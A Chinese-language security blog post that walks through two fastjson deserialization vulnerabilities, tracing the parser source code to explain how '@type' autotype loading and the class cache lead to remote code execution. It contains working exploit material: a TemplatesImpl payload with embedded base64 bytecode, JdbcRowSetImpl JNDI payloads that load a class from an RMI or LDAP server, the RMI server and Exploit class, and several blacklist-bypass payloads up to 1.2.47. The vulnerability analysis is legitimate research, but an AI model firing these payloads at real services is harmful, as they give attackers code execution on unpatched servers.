Java 反序列化漏洞始末(3)— fastjson

哔哔两句

JSON 在 Java 的反序列化漏洞中也算得上是一个重灾区,在开发者最常用的几个 JSON 类库都被爆出来过漏洞。

它们通常会被当做缓存数据,存储在 redis 这种缓存服务器中,或者通过 rest 交互时对 JSON 数据进行解析,问题大多出现在这两种场景下。

开发者常用的主要就是 jackson fastjson 这两个 JSON 处理类库

这篇文章主要先对 fastjson 的两个反序列化漏洞做一下分析记录

Fastjson 反序列化 1

这是2017年官方自己爆出来的一个反序列化漏洞'

影响范围在<= 1.2.24 的版本

复现

首先来了解一下 FastJSON 是如何序列化与反序列化对象的。

        Person person = new Person();
        person.name="blue";
        person.length=18;

        String s = JSONObject.toJSONString(person);
        String s1 = JSONObject.toJSONString(person, SerializerFeature.WriteClassName);

        System.out.println(s);
        System.out.println(s1);

        Object parse = JSON.parse(s);
        Object parse1 = JSON.parse(s1);

        System.out.println("type:"+ parse.getClass().getName() +" "+parse);
        System.out.println("type:"+ parse1.getClass().getName() +" "+parse1);

这里实例化了一个 Person 对象,转了两次JSON字符串,又分别进行了两次 JSON 对象解析。

{"length":18,"name":"blue"}
{"@type":"simple.Person","length":18,"name":"blue"}
type:com.alibaba.fastjson.JSONObject {"name":"blue","length":18}
type:simple.Person Person{name='blue', length=18}

从结果来看,使用了 SerializerFeature.WriteClassName 比上一个JSON字符串多出来了一个 "@type"属性

而且在字符串转JSON对象的时候,第一个是被转成了 JSONObject 对象,第二个被反序列化回了 Person 类型的对象。

由此可知 @type 是用于在解析 JSON 时指定类的。

先弹他一个计算器。

Test.java

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/7/8 11:05
 */
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

FastJson.java

/**
 * @author 浅蓝
 * @email blue@ixsec.org
 * @since 2019/7/8 10:52
 */
public class FastJson {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void main(String[] args) throws Exception {

        ParserConfig config = new ParserConfig();
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\json\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

    }

}

Payload

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

1562599286(1).jpg

从这几行代码来看,其实就是将 Test.java 编译后的字节码转成 Base64 然后拼接到了一个 JSON 字符串中,最后使用 JSON.parseObject 方法解析成 Java 对象。

在这个 JSON 字符串中可以看得到几个关键字 TemplatesImploutputProperties_bytecodes,我在上一篇文章《Java 反序列化漏洞始末(2)— JDK》中就有讲到过,这是利用了 JDK 1.7 的类触发了漏洞,其中原理不再细讲,只需要知道调用TemplatesImpl.getOutputProperties()会触发漏洞代码。

在上面的代码可以看到有用到一个 Feature.SupportNonPublicField 的参数,实际上这种情况很少会被用到。

其作用就是支持反序列化使用非public修饰符保护的属性。

上面的那段JSON 里的大部分属性都是私有的,所以需要用到这个参数,其原理不再细究。

这里主要以 JNDI 注入为例讲解。先给出 Payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1999/Exploit","autoCommit":true}

先从这段 JSON 的字面意思上来理解一下他做了什么。

  1. 首先指定了该对象要反序列化的类为 com.sun.rowset.JdbcRowSetImpl
  2. 设定属性 dataSourceName rmi://127.0.0.1:1999/Exploit ,实际上是在调用 setDataSourceName 方法
  3. 设定 autoCommit 属性为 true,实际上也是在调用其 setter 方法

根据猜想,应该是做了这几件事

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1999/Exploit");

        jdbcRowSet.setAutoCommit(true);

在 setAutoCommit 方法中判断了如果 connect 为空就去调用 connect 方法。

    protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); // 在这一步去连接 DataSource ,触发 JNDI 注入
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

在注释处调用了 InitialContext 对象的 lookup 方法触发 JNDI 注入

现在复现一遍这个 JNDI 注入版的 payload

JNDI Server

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1999);
        Reference reference = new Reference("Exploit",
                "Exploit","http://127.0.0.1/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();

    }
}

Exploit.java

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

在解析 JSON 之前需要先将 Exploit.java 编译为 Exploit.class,然后放置本地 80 端口服务器下

使 http://127.0.0.1/Exploit.class 可正常访问到该文件内容

然后启动 JDNIServer 绑定本地 1999 端口,最后使用 fastjson 解析该 payload。

解析的过程中会去访问 127.0.0.1 的 1999 端口,该端口绑定着 RMI 服务,RMI 服务又会去 127.0.0.1 80 端口的 WEB 服务访问 Exploit.class,最后初始化该对象,触发执行系统命令的代码。

1563438843(1).jpg

分析

现在对这个问题进一步的分析一下(无论想知道哪个RCE漏洞的原理,只要在最终被调用的地方打个断点就什么都知道了)

1563718832(1).jpg

在 JSON 类的 parse 方法最后是实例化了一个 DefaultJSONParser 对象又调用了其 parse() 方法

跟踪 parse() 方法

public Object parse(Object fieldName) {
        JSONLexer lexer = this.lexer;
        switch(lexer.token()) {
        case 1:
        case 5:
        case 10:
//....

发现这里根据 this.lexer.token() 做了一个 switch 判断

这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的

    public DefaultJSONParser(String input, ParserConfig config, int features) {
        this(input, new JSONScanner(input, features), config);
    }

这一步调用的另外一个构造函数

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    //.....
}

lexer 也就是 new JSONScanner(input, features)

继续跟进,在这个 DefaultJSONParser 构造方法里 124 行的位置调用了 lexer.getCurrent()

这里实际上是获取 lexer 的 ch 属性。

在 JSONScanner 对象被实例化的时候调用了 next() 方法

在这个方法中对 ch 属性赋了值

public final char next() {
        int index = ++this.bp;
        return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
}

在实例化时第一次被调用,所以获取的是 JSON 字符串的第一个字符,既 {

        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

所以在 DefaultJSONParser 构造方法里这段代码意思就很简单了,判断第一个字符串如果是 { 的话就让 lexer 对象的 token 属性值为 12

继续回到 parse 方法的 switch 判断点处。

目前已知第一个字符是 { 对应 token 12

        case 12:
            JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
            return this.parseObject((Map)object, fieldName);

所以应进入 case 12 的分支

这里 new 了一个 JSONObject 对象
然后调用 DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 方法去解析,filedName 参数此处为 null,因为还没有开始解析 JSON 里的字段

进入此方法后先检测了 JSON 格式是否合规后,判断下一个字符串是否为 "

    if (ch == '"') {
              key = lexer.scanSymbol(this.symbolTable, '"');//取出""中的键名 即 @type
              lexer.skipWhitespace();
              ch = lexer.getCurrent();
              if (ch != ':') {
                   throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
              }
    }

在JSON串中{下一个是",自然符合判断,然后接着向后读取

  ch = lexer.getCurrent();
  lexer.resetStringPosition();
  Object obj;
  Object instance;
  String ref;
  Object thisObj;
  if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
        ref = lexer.scanSymbol(this.symbolTable, '"'); // 获取 @type 对应的值 com.sun.rowset.JdbcRowSetImpl
        Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
        if (clazz != null) {
            //...
        }
        //...
   }

key == JSON.DEFAULT_TYPE_KEY 去判断取出来的键是否和JSON.DEFAULT_TYPE_KEY相等

public static String DEFAULT_TYPE_KEY = "@type";

接着又取出了 @type 的值,交给TypeUtils.loadClass 方法获取类对象

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);    // mappings 里缓存了一些常用的基本类型,com.sun.rowset.JdbcRowSetImpl肯定是不在这里的
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {            // 最终走到 最后一个else分支里
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);    // 加载类
                    mappings.put(className, clazz); //将类对象缓存在 mappings 对象
                    return clazz;
                }
            } catch (Throwable var5) {
                ;
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var4) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}

只要类存在,无论如何这里最终都会将类对象缓存在 mappings 里

在该版本里,这个地方不重要,和漏洞利用无关,就是顺带讲一下。

Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
    //...
    ObjectDeserializer deserializer = this.config.getDeserializer(clazz); 
    thisObj = deserializer.deserialze(this, clazz, fieldName); // 开始进入反序列化阶段
    return thisObj;
}

this.config.getDeserializer(clazz); 这一段最终通过 createJavaBeanDeserializer 方法得到 ObjectDeserializer 对象

反序列化属性的具体方法可以直接跟进到

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze()

里面具体操作就是通过反射调用 setter 方法赋值

当执行到 JdbcRowSetImpl 对象的 setAutoCommit 方法时,就触发了漏洞

Fastjson 反序列化 2

这个漏洞是最近被曝出来的,影响范围扩大到了 1.2.47

原理是通过类缓存绕过反序列化黑名单

先看看,fastjson 上一个漏洞的安全版本 1.2.25 是如何修复的

拿之前的 payload 测试解析时会抛出这样异常,意为该类不支持 autotype

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

对比 parseObject 方法

1.2.24

 ref = lexer.scanSymbol(this.symbolTable, '"');
 Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

1.2.25

ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);                        

获取类对象的方法由 TypeUtils.loadClass 变成了this.config.checkAutoType

ParserConfig 类也多了一些东西

    this.autoTypeSupport = AUTO_SUPPORT;
    this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
    this.acceptList = AUTO_TYPE_ACCEPT_LIST;
    

denyList 可以算是一个包名黑名单,包名开头包含这些了这些黑名单的话就会抛出异常,终止解析 JSON

追踪到这个 checkAutoType 方法里看一下其中主要的代码

            if (!this.autoTypeSupport) {        // 如果没有开启 autoType
                String accept;
                int i;
                for(i = 0; i < this.denyList.length; ++i) {     //遍历黑名单
                    accept = this.denyList[i];
                    if (className.startsWith(accept)) {         // 判断类名开头是否包含了黑名单里的包名
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                for(i = 0; i < this.acceptList.length; ++i) {     // 白名单判断
                    accept = this.acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }

                        return clazz;
                    }
                }
            }

不过,在 1.2.41 版本,有了一种绕过黑名单的方法,但需要开启 autoType,影响不大。

 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
 JSON.parse("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://10.165.93.31:1090/evil\",\"autoCommit\":true}");

正常这样解析的话,即使开了 autoType 也会被黑名单拦下来。

把 @type 改成 Lcom.sun.rowset.JdbcRowSetImpl; 就不一样了

在 checkAutoType 时因为,Lcom.sun 不符合黑名单com.sun 开头的规则,所以代码会继续走下去

直到

   if (clazz == null) {
       clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
   }

TypeUtils.loadClass 这个方法就比较眼熟了,在fastjson上一个漏洞的分析时讲到过

来看下重要部分的代码

 Class<?> clazz = (Class)mappings.get(className);
 if (clazz != null) {
    return clazz;
 } else if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
 } else if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
 }
  • 第三个if判断
    判断雷鸣如果开头是 L 结尾是; 就把头和尾的最后一个字符串截取出来加载

现在针对 1.2.25 - 1.2.42 可以使用如下方法绕过

Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;

因为它会递归的去判断类名是否包含 L 和 ; 所以可以一直延长

另外,自 1.2.42 起, fastjson 黑名单由一串字符串变成了 long 数字

1.2.42

this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};

还有另一个黑名单绕过方法,范围在 1.2.42-1.2.45。

{
        "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
        "properties":{
            "data_source":"ldap://127.0.0.1:1090/Evil"
        }
}

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 这个类是 mybatis 的类,需要 mybatis 依赖,原理同 JdbcRowSetImple

以上皆为铺垫,现在才是关于这个漏洞正文。

复现

先上 payload

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.165.93.31:1090/evil",
        "autoCommit":"true"
    }
}

在 1.2.47 范围内通杀,在此不做演示

分析

从 payload 来看,实际上就是反序列化了两个对象

至于为什么可以绕过黑名单和 autoType,看接下来的代码分析

fastjson 首先会去解析第一个 JSON 对象

{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
}

取出 @type 的值 java.lang.Class 进入 checkAutoType 方法

java.lang.Class 不在黑名单里,检查可以顺利通过

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

在取 ObjectDeserializer 对象的时候,由于在 ParserConfig 类的 deserializers Map属性里在初始化的时候对 Class.class 指定了所使用的处理类

this.deserializers.put(Class.class, MiscCodec.instance);

所以最终应进入 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法开始序列化对象

obj = deserializer.deserialze(this, clazz, fieldName);

来看一个代码片段

//..
if (clazz == Class.class) {
 return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
//...                        

在 deserialze 方法里取出了 val 的值,也就是com.sun.rowset.JdbcRowSetImpl

交给了 TypeUtils.loadClass 处理

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        if (cache) {
                            mappings.put(className, clazz);
                        }

                        return clazz;
                    }
                } catch (Throwable var7) {
                    var7.printStackTrace();
                }

                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        if (cache) {
                            mappings.put(className, clazz);
                        }

                        return clazz;
                    }
                } catch (Throwable var6) {
                    ;
                }

                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var5) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

这个方法不用我再多说,它会对传过来的类名字符串在mappings找对应的缓存类对象
如果没有就加载一个类对象,并添加到 mappings 缓存起来

至此第一个 JSON 对象解析完毕。

开始分析第二个 JSON 对象的解析过程

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://10.165.93.31:1090/evil",
    "autoCommit":"true"
}

理论上来讲,这个类应该是会被黑名单ban掉的。

再回顾一下 checkAutoType 都做了些什么

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
            if (h1 == -5808493101479473382L) {
                throw new JSONException("autoType is not support. " + typeName);
            } else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                throw new JSONException("autoType is not support. " + typeName);
            } else {
                long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
                long hash;
                int i;
                if (this.autoTypeSupport || expectClass != null) {
                    //...省略
                }

                if (clazz == null) {
                    clazz = TypeUtils.getClassFromMapping(typeName);    // 重要的在这一步
                }

                if (clazz == null) {
                    clazz = this.deserializers.findClass(typeName);
                }

                if (clazz != null) {
                    if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    } else {
                        return clazz;
                    }
                }
            //...省略

这里第一步就去调用了 TypeUtils.getClassFromMapping() 方法去获取类对象

    public static Class<?> getClassFromMapping(String className) {
        return (Class)mappings.get(className);
    }

实际上就是从 mappings 里拿缓存起来的类对象,由于刚才解析第一个对象的时候已经把 JdbcRowSetImpl 对象再mappings里缓存了起来

所以这里直接获取到了 JdbcRowSetImple.class 略过了后面的黑名单审查

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。